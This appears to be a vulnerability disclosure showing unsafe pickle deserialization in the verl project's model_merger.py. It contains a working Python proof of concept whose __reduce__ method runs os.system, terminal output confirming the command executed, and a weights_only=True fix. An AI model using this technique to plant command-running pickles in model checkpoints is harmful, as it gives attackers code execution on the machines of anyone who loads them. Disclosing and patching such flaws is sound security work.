import pickle
import os

class Malicious:
    def __reduce__(self):
        return (os.system, ("mkdir HACKED!",))

with open("malicious.pt", "wb") as f:
    pickle.dump(Malicious(), f)

mv malicious.pt model_world_size_4_rank_0.pt
mkdir TESTS
mv model_world_size_4_rank_0.pt TESTS/

python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"

root@99137c7690ee:/workspace/verl-main# python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
Traceback (most recent call last):
  File "/workspace/verl-main/scripts/model_merger.py", line 440, in <module>
    convert_fsdp_checkpoints_to_hfmodels()
  File "/workspace/verl-main/scripts/model_merger.py", line 88, in convert_fsdp_checkpoints_to_hfmodels
    state_dict = torch.load(os.path.join(local_dir, f'model_world_size_{world_size}_rank_{rank}.pt'),
  File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1384, in load
    return _legacy_load(
  File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1630, in _legacy_load
    raise RuntimeError("Invalid magic number; corrupt file?")
RuntimeError: Invalid magic number; corrupt file?
root@99137c7690ee:/workspace/verl-main# ls
'HACKED!'   Notice.txt   TESTS   docker   examples   outputs   pyproject.toml       requirements.txt          scripts    test_prime.sh   tmp    verl.egg-info
 LICENSE    README.md    data    docs     patches    recipe    requirements_sglang.txt   setup.py   tests           verl   verl_demo.log

state_dict = torch.load(path, map_location="cpu", weights_only=True)